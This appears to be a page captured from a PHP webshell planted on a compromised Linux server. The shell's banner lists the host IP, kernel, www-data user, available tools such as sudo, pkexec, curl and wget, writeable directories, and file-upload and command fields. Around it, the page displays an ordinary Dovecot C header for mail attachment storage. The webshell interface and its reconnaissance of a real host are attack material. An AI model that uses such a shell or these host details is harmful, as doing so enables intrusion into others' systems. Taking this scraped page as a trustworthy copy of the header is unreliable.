403Webshell
Server IP : 85.214.143.32  /  Your IP : 216.73.216.200
Web Server : nginx/1.24.0
System : Linux datensicherung.webdress.site 6.8.0-139-generic #139-Ubuntu SMP PREEMPT_DYNAMIC Sat Aug 1 03:52:05 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/include/dovecot/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/include/dovecot/index-attachment.h
#ifndef INDEX_ATTACHMENT_H
#define INDEX_ATTACHMENT_H

#include "sha1.h"

struct fs;
struct mail_save_context;
struct mail_storage;

struct mail_attachment_extref {
	/* path without attachment_dir/ prefix */
	const char *path;
	/* offset in input stream where part begins */
	uoff_t start_offset;
	uoff_t size;

	/* If non-zero, this attachment was saved as base64-decoded and it
	   need to be encoded back before presenting it to client. Each line
	   (except last one) consists of this many base64 blocks (4 chars of
	   base64 encoded data). */
	unsigned int base64_blocks_per_line;
	/* Line feeds are CRLF instead of LF */
	bool base64_have_crlf;
};
ARRAY_DEFINE_TYPE(mail_attachment_extref, struct mail_attachment_extref);

void index_attachment_save_begin(struct mail_save_context *ctx,
				 struct fs *fs, struct istream *input);
int index_attachment_save_continue(struct mail_save_context *ctx);
int index_attachment_save_finish(struct mail_save_context *ctx);
void index_attachment_save_free(struct mail_save_context *ctx);
const ARRAY_TYPE(mail_attachment_extref) *
index_attachment_save_get_extrefs(struct mail_save_context *ctx);

/* Delete a given attachment name from storage
   (name is same as mail_attachment_extref.name). */
int index_attachment_delete(struct mail_storage *storage,
			    struct fs *fs, const char *name);

void index_attachment_append_extrefs(string_t *str,
	const ARRAY_TYPE(mail_attachment_extref) *extrefs);
/* Parse extrefs value to given array. Names are allocated from the
   given pool. */
bool index_attachment_parse_extrefs(const char *line, pool_t pool,
				    ARRAY_TYPE(mail_attachment_extref) *extrefs);

int index_attachment_stream_get(struct fs *fs, const char *attachment_dir,
				const char *path_suffix,
				struct istream **stream, uoff_t full_size,
				const char *ext_refs, const char **error_r);

#endif

Youez - 2016 - github.com/yon3zu
LinuXploit